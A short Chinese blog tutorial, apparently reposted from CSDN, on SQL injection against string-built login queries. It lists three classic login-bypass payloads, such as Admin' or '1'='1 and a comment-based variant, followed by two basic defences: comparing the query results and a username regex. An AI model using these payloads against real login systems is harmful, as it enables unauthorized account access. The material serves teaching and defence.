一、SQL注入语句
账号:Admin
密码:123456
登录验证语句为select * from 表名 where UserName = '用户名' and UserPassword = '用户密码";的系统可通过以下注入方式可能可绕过密码登录进入系统。
1、
Admin' or '1'='1
123(任意密码)
注释:形成一个恒为真的条件,是SQL查询判断失败
2、
Admin';#
123
注释:#注释点后续语句(#注释失败请尝试--作为注释)
3、
1' or '1'='1
123(任意密码)
注释:该方式登录成功的原因还没弄清楚,大神请告知
二、SQL注入防御
1、查询出来的结果再和用户名密码比较如果一致则是正常登陆,不一致认为是攻击
2、通过正则表达式进行匹配用户名是否合法
帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
其中最后一个“_”处可添加其他的字符表示允许通过的字符。
来源:CSDN
作者:开发农民
链接:https://blog.csdn.net/xyb_l_code/article/details/81208826